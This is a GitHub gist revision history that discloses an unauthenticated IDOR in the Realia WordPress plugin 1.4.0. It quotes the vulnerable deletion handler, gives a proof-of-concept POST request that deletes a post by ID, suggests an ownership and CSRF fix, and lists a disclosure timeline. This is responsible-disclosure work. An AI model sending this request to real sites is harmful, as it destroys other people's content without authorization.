Skip to content

Instantly share code, notes, and snippets.

@erwanlr
Last active October 15, 2020 09:18
Show Gist options
  • Save erwanlr/625a3a241a6bd59f18b8b048cedf1b41 to your computer and use it in GitHub Desktop.
Save erwanlr/625a3a241a6bd59f18b8b048cedf1b41 to your computer and use it in GitHub Desktop.

Revisions

  1. erwanlr revised this gist Oct 15, 2020. 1 changed file with 1 addition and 1 deletion.
    2 changes: 1 addition & 1 deletion realia-1.4.0-idor.md
    Original file line number Diff line number Diff line change
    @@ -44,4 +44,4 @@ Fix: It would be recommended to check that the post given belongs to the user ma
    - June 18th, 2020 - Issue Confirmed on the Premium Theme & Escalated to Envato.
    - August 5th, 2020 - Further investigations done after the lack of response from Envato revealed that the cause of the issue in the Premium theme was the free plugin Realia. Issue escalated to the WordPress plugin team.
    - August 14th, 2020 - WP Plugins team investigating.
    - October 15th, 2020 - No updates, the Realia plugin has also been closed from the WP repository.
    - October 15th, 2020 - No updates, the Realia plugin has also been closed from the WP repository. Disclosure.
  2. erwanlr revised this gist Oct 15, 2020. 1 changed file with 3 additions and 3 deletions.
    6 changes: 3 additions & 3 deletions realia-1.4.0-idor.md
    Original file line number Diff line number Diff line change
    @@ -41,7 +41,7 @@ Given that this plugin has not been updated for the last three years, other issu
    Fix: It would be recommended to check that the post given belongs to the user making the request before deleting it. A CSRF check should also be done.

    # Timeline
    - June 18th, 2020 - Issue Confirmed on the Premium Theme & Escalated to Envato
    - August 5th, 2020 - Further investigations doner after the lack of response from Envato revealed that the cause of the issue in the Premium theme is the free plugin Realia. Issue escalated to the WordPress plugin team.
    - August 14th, 2020 - WP Plugins team investigating
    - June 18th, 2020 - Issue Confirmed on the Premium Theme & Escalated to Envato.
    - August 5th, 2020 - Further investigations done after the lack of response from Envato revealed that the cause of the issue in the Premium theme was the free plugin Realia. Issue escalated to the WordPress plugin team.
    - August 14th, 2020 - WP Plugins team investigating.
    - October 15th, 2020 - No updates, the Realia plugin has also been closed from the WP repository.
  3. erwanlr revised this gist Oct 15, 2020. 1 changed file with 1 addition and 1 deletion.
    2 changes: 1 addition & 1 deletion realia-1.4.0-idor.md
    Original file line number Diff line number Diff line change
    @@ -1,4 +1,4 @@
    While investigating an [IDOR issue](https://github.com/vladvector/vladvector.github.io/blob/master/exploit/2020-06-17-homesweet-real-estate-wordpress-theme-v1-4.txt) in the [Home Sweet premium theme](https://themeforest.net/item/homesweet-real-estate-wordpress-theme/20560953), allowing arbitrary deletion of Ads, the [Realia](https://wordpress.org/plugins/realia/) plugin was found to be the root cause.
    While investigating an [IDOR issue](https://github.com/vladvector/vladvector.github.io/blob/master/exploit/2020-06-17-homesweet-real-estate-wordpress-theme-v1-4.txt) in the [Home Sweet](https://themeforest.net/item/homesweet-real-estate-wordpress-theme/20560953) premium theme, allowing arbitrary deletion of Ads, the [Realia](https://wordpress.org/plugins/realia/) plugin was found to be the root cause.

    In fact, having this plugin installed (which some themes require) can allow unauthenticated attackers to delete arbitrary posts, by submitting a malicious request with the post ID to delete.

  4. erwanlr revised this gist Oct 15, 2020. 1 changed file with 1 addition and 1 deletion.
    2 changes: 1 addition & 1 deletion realia-1.4.0-idor.md
    Original file line number Diff line number Diff line change
    @@ -1,4 +1,4 @@
    While investigating an [IDOR issue](https://github.com/vladvector/vladvector.github.io/blob/master/exploit/2020-06-17-homesweet-real-estate-wordpress-theme-v1-4.txt) on the [Home Sweet premium theme](https://themeforest.net/item/homesweet-real-estate-wordpress-theme/20560953), allowing arbitrary deletion of Ads, the [Realia](https://wordpress.org/plugins/realia/) plugin was found to be the root cause.
    While investigating an [IDOR issue](https://github.com/vladvector/vladvector.github.io/blob/master/exploit/2020-06-17-homesweet-real-estate-wordpress-theme-v1-4.txt) in the [Home Sweet premium theme](https://themeforest.net/item/homesweet-real-estate-wordpress-theme/20560953), allowing arbitrary deletion of Ads, the [Realia](https://wordpress.org/plugins/realia/) plugin was found to be the root cause.

    In fact, having this plugin installed (which some themes require) can allow unauthenticated attackers to delete arbitrary posts, by submitting a malicious request with the post ID to delete.

  5. erwanlr revised this gist Oct 15, 2020. 1 changed file with 2 additions and 2 deletions.
    4 changes: 2 additions & 2 deletions realia-1.4.0-idor.md
    Original file line number Diff line number Diff line change
    @@ -42,6 +42,6 @@ Fix: It would be recommended to check that the post given belongs to the user ma

    # Timeline
    - June 18th, 2020 - Issue Confirmed on the Premium Theme & Escalated to Envato
    - August 5th, 2020 - Further investigations doner after the lack of response from Envato revealed that the cause of the issue in the Premium theme is a the Realia plugin. Issue escalated to the WordPress plugin team.
    - August 5th, 2020 - Further investigations doner after the lack of response from Envato revealed that the cause of the issue in the Premium theme is the free plugin Realia. Issue escalated to the WordPress plugin team.
    - August 14th, 2020 - WP Plugins team investigating
    - October 15th, 2020 - No updates, Realias plugin has also been closed from the WP repository.
    - October 15th, 2020 - No updates, the Realia plugin has also been closed from the WP repository.
  6. erwanlr revised this gist Oct 15, 2020. 1 changed file with 8 additions and 2 deletions.
    10 changes: 8 additions & 2 deletions realia-1.4.0-idor.md
    Original file line number Diff line number Diff line change
    @@ -1,4 +1,4 @@
    While investigating an IDOR issue on a premium theme, allowing arbitrary deletion of Ads, the [Realia](https://wordpress.org/plugins/realia/) plugin was found to be the root cause.
    While investigating an [IDOR issue](https://github.com/vladvector/vladvector.github.io/blob/master/exploit/2020-06-17-homesweet-real-estate-wordpress-theme-v1-4.txt) on the [Home Sweet premium theme](https://themeforest.net/item/homesweet-real-estate-wordpress-theme/20560953), allowing arbitrary deletion of Ads, the [Realia](https://wordpress.org/plugins/realia/) plugin was found to be the root cause.

    In fact, having this plugin installed (which some themes require) can allow unauthenticated attackers to delete arbitrary posts, by submitting a malicious request with the post ID to delete.

    @@ -38,4 +38,10 @@ property_id=7&remove_property_form=

    Given that this plugin has not been updated for the last three years, other issues may be present.

    Fix: It would be recommended to check that the post given belongs to the user making the request before deleting it. A CSRF check should also be done.
    Fix: It would be recommended to check that the post given belongs to the user making the request before deleting it. A CSRF check should also be done.

    # Timeline
    - June 18th, 2020 - Issue Confirmed on the Premium Theme & Escalated to Envato
    - August 5th, 2020 - Further investigations doner after the lack of response from Envato revealed that the cause of the issue in the Premium theme is a the Realia plugin. Issue escalated to the WordPress plugin team.
    - August 14th, 2020 - WP Plugins team investigating
    - October 15th, 2020 - No updates, Realias plugin has also been closed from the WP repository.
  7. erwanlr revised this gist Oct 15, 2020. 1 changed file with 1 addition and 1 deletion.
    2 changes: 1 addition & 1 deletion realia-1.4.0-idor.md
    Original file line number Diff line number Diff line change
    @@ -1,6 +1,6 @@
    While investigating an IDOR issue on a premium theme, allowing arbitrary deletion of Ads, the [Realia](https://wordpress.org/plugins/realia/) plugin was found to be the root cause.

    In fact, having this plugin installed (which some theme require) can allow unauthenticated attackers to delete arbitrary posts, by submitting a malicious request with the post ID to delete.
    In fact, having this plugin installed (which some themes require) can allow unauthenticated attackers to delete arbitrary posts, by submitting a malicious request with the post ID to delete.

    In [includes/class-realia-submission.php](https://plugins.svn.wordpress.org/realia/trunk/includes/class-realia-submission.php)
    ```php
  8. erwanlr revised this gist Aug 5, 2020. 1 changed file with 1 addition and 1 deletion.
    2 changes: 1 addition & 1 deletion realia-1.4.0-idor.md
    Original file line number Diff line number Diff line change
    @@ -1,6 +1,6 @@
    While investigating an IDOR issue on a premium theme, allowing arbitrary deletion of Ads, the [Realia](https://wordpress.org/plugins/realia/) plugin was found to be the root cause.

    In fact, having this plugin installed can allow unauthenticated attackers to delete arbitrary posts, by submitting a malicious request with the post ID to delete.
    In fact, having this plugin installed (which some theme require) can allow unauthenticated attackers to delete arbitrary posts, by submitting a malicious request with the post ID to delete.

    In [includes/class-realia-submission.php](https://plugins.svn.wordpress.org/realia/trunk/includes/class-realia-submission.php)
    ```php
  9. erwanlr renamed this gist Aug 5, 2020. 1 changed file with 0 additions and 0 deletions.
    File renamed without changes.
  10. erwanlr revised this gist Aug 5, 2020. 1 changed file with 1 addition and 1 deletion.
    2 changes: 1 addition & 1 deletion realia-1.4-idor.md
    Original file line number Diff line number Diff line change
    @@ -38,4 +38,4 @@ property_id=7&remove_property_form=

    Given that this plugin has not been updated for the last three years, other issues may be present.

    Fix: It would be recommended to check if the post given belongs to the user before deleting it.
    Fix: It would be recommended to check that the post given belongs to the user making the request before deleting it. A CSRF check should also be done.
  11. erwanlr revised this gist Aug 5, 2020. 1 changed file with 1 addition and 1 deletion.
    2 changes: 1 addition & 1 deletion realia-1.4-idor.md
    Original file line number Diff line number Diff line change
    @@ -19,7 +19,7 @@ public static function process_remove_form() {
    }
    ```

    PoC:
    PoC (this will delete the Post with id `7`):
    ```
    POST / HTTP/1.1
    Host: 127.0.0.1
  12. erwanlr revised this gist Aug 5, 2020. 1 changed file with 1 addition and 1 deletion.
    2 changes: 1 addition & 1 deletion realia-1.4-idor.md
    Original file line number Diff line number Diff line change
    @@ -1,4 +1,4 @@
    While investigating an IDOR issue on a premium theme, allowing arbitrary deletion of Ads, the [Realia](https://wordpress.org/plugins/realia/) plugin was found to be the cause of it.
    While investigating an IDOR issue on a premium theme, allowing arbitrary deletion of Ads, the [Realia](https://wordpress.org/plugins/realia/) plugin was found to be the root cause.

    In fact, having this plugin installed can allow unauthenticated attackers to delete arbitrary posts, by submitting a malicious request with the post ID to delete.

  13. erwanlr revised this gist Aug 5, 2020. 1 changed file with 1 addition and 1 deletion.
    2 changes: 1 addition & 1 deletion realia-1.4-idor.md
    Original file line number Diff line number Diff line change
    @@ -1,4 +1,4 @@
    While investigating an IDOR issue on a premium theme, allowing arbitrary deletion of Ads, the [realia](https://wordpress.org/plugins/realia/) plugin was found to be the cause of it.
    While investigating an IDOR issue on a premium theme, allowing arbitrary deletion of Ads, the [Realia](https://wordpress.org/plugins/realia/) plugin was found to be the cause of it.

    In fact, having this plugin installed can allow unauthenticated attackers to delete arbitrary posts, by submitting a malicious request with the post ID to delete.

  14. erwanlr revised this gist Aug 5, 2020. 1 changed file with 3 additions and 1 deletion.
    4 changes: 3 additions & 1 deletion realia-1.4-idor.md
    Original file line number Diff line number Diff line change
    @@ -36,4 +36,6 @@ Content-Length: 35
    property_id=7&remove_property_form=
    ```

    Given that this plugin has not been updated for the last three years, other issues may be present.
    Given that this plugin has not been updated for the last three years, other issues may be present.

    Fix: It would be recommended to check if the post given belongs to the user before deleting it.
  15. erwanlr revised this gist Aug 5, 2020. 1 changed file with 3 additions and 1 deletion.
    4 changes: 3 additions & 1 deletion realia-1.4-idor.md
    Original file line number Diff line number Diff line change
    @@ -34,4 +34,6 @@ Content-Type: application/x-www-form-urlencoded; charset=UTF-8
    Content-Length: 35
    property_id=7&remove_property_form=
    ```
    ```

    Given that this plugin has not been updated for the last three years, other issues may be present.
  16. erwanlr revised this gist Aug 5, 2020. 1 changed file with 2 additions and 4 deletions.
    6 changes: 2 additions & 4 deletions realia-1.4-idor.md
    Original file line number Diff line number Diff line change
    @@ -1,8 +1,6 @@
    While investigating an IDOR issue on a premium theme, allowing arbitrary deletion of Ads, the [realia](https://wordpress.org/plugins/realia/) plugin was
    found to be the cause of it.
    While investigating an IDOR issue on a premium theme, allowing arbitrary deletion of Ads, the [realia](https://wordpress.org/plugins/realia/) plugin was found to be the cause of it.

    In fact, having this plugin installed can allow unauthenticated attackers to delete arbitrary posts, by submitting a malicious
    request with the post ID to delete.
    In fact, having this plugin installed can allow unauthenticated attackers to delete arbitrary posts, by submitting a malicious request with the post ID to delete.

    In [includes/class-realia-submission.php](https://plugins.svn.wordpress.org/realia/trunk/includes/class-realia-submission.php)
    ```php
  17. erwanlr revised this gist Aug 5, 2020. 1 changed file with 9 additions and 9 deletions.
    18 changes: 9 additions & 9 deletions realia-1.4-idor.md
    Original file line number Diff line number Diff line change
    @@ -9,16 +9,16 @@ In [includes/class-realia-submission.php](https://plugins.svn.wordpress.org/real
    add_action( 'init', array( __CLASS__, 'process_remove_form' ), 9999 );
    [...]
    public static function process_remove_form() {
    if ( ! isset( $_POST['remove_property_form'] ) || empty( $_POST['property_id'] ) ) {
    return;
    }
    if ( ! isset( $_POST['remove_property_form'] ) || empty( $_POST['property_id'] ) ) {
    return;
    }

    if ( wp_delete_post( $_POST['property_id'] ) ) {
    $_SESSION['messages'][] = array( 'success', __( 'Property has been successfully removed.', 'realia' ) );
    } else {
    $_SESSION['messages'][] = array( 'danger', __( 'An error occured when removing an item.', 'realia' ) );
    }
    }
    if ( wp_delete_post( $_POST['property_id'] ) ) {
    $_SESSION['messages'][] = array( 'success', __( 'Property has been successfully removed.', 'realia' ) );
    } else {
    $_SESSION['messages'][] = array( 'danger', __( 'An error occured when removing an item.', 'realia' ) );
    }
    }
    ```

    PoC:
  18. erwanlr created this gist Aug 5, 2020.
    39 changes: 39 additions & 0 deletions realia-1.4-idor.md
    Original file line number Diff line number Diff line change
    @@ -0,0 +1,39 @@
    While investigating an IDOR issue on a premium theme, allowing arbitrary deletion of Ads, the [realia](https://wordpress.org/plugins/realia/) plugin was
    found to be the cause of it.

    In fact, having this plugin installed can allow unauthenticated attackers to delete arbitrary posts, by submitting a malicious
    request with the post ID to delete.

    In [includes/class-realia-submission.php](https://plugins.svn.wordpress.org/realia/trunk/includes/class-realia-submission.php)
    ```php
    add_action( 'init', array( __CLASS__, 'process_remove_form' ), 9999 );
    [...]
    public static function process_remove_form() {
    if ( ! isset( $_POST['remove_property_form'] ) || empty( $_POST['property_id'] ) ) {
    return;
    }

    if ( wp_delete_post( $_POST['property_id'] ) ) {
    $_SESSION['messages'][] = array( 'success', __( 'Property has been successfully removed.', 'realia' ) );
    } else {
    $_SESSION['messages'][] = array( 'danger', __( 'An error occured when removing an item.', 'realia' ) );
    }
    }
    ```

    PoC:
    ```
    POST / HTTP/1.1
    Host: 127.0.0.1
    User-Agent: PoC/Realia-1.4-IDOR
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
    Accept-Language: en-GB,en;q=0.5
    Accept-Encoding: gzip, deflate
    Referer: http://127.0.0.1/
    Connection: close
    Upgrade-Insecure-Requests: 1
    Content-Type: application/x-www-form-urlencoded; charset=UTF-8
    Content-Length: 35
    property_id=7&remove_property_form=
    ```